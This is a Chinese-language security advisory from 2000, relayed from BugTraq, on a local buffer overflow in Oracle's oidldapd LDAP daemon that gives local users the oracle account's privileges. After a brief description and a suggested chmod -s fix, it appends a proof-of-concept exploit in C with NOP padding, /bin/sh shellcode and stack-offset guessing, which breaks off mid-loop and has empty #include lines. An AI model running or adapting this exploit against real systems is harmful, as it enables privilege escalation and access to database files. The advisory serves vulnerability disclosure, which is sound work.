【发布日期】 2000-10-23 【来源】 BUGTRAQ@SECURITYFOCUS.COM,16-10-2000 pask@plazasite.com 【影响的系统】 目前仅在Linux上进行了测试,但可能影响其他的系统。 【概述】 oidldapd是一个Oracle Internet Directory.Oracle Ldap 幽灵程序。 【详细描述】 在oidldapd中有一个缓冲区溢出漏洞,本地用户利用它可以得到oracle用户的 euid。缺省安装,oracle用户拥有所有的数据库文件。 【影响】 任何拥有本地访问权的用户都可以获得euid=oracle。 【解决方法】 可能用chmod -s即可。 【附录-验证程序】 #include
#include
#define DEFAULT_OFFSET 13 #define DEFAULT_BUFFER_SIZE 700 #define NOP 0x90 #define ORACLE_HOME "/usr/local/oracle/app/oracle/product/8.1.6" char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; unsigned long get_sp(void) { __asm__("movl %esp,%eax"); } void main(int argc, char *argv[]) { char *buff, *ptr,*name[3],environ[100],binary[120]; long *addr_ptr, addr; int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE; int i; buff = malloc(bsize); addr = get_sp() - offset; ptr = buff; addr_ptr = (long *) ptr; for (i = 0; i
|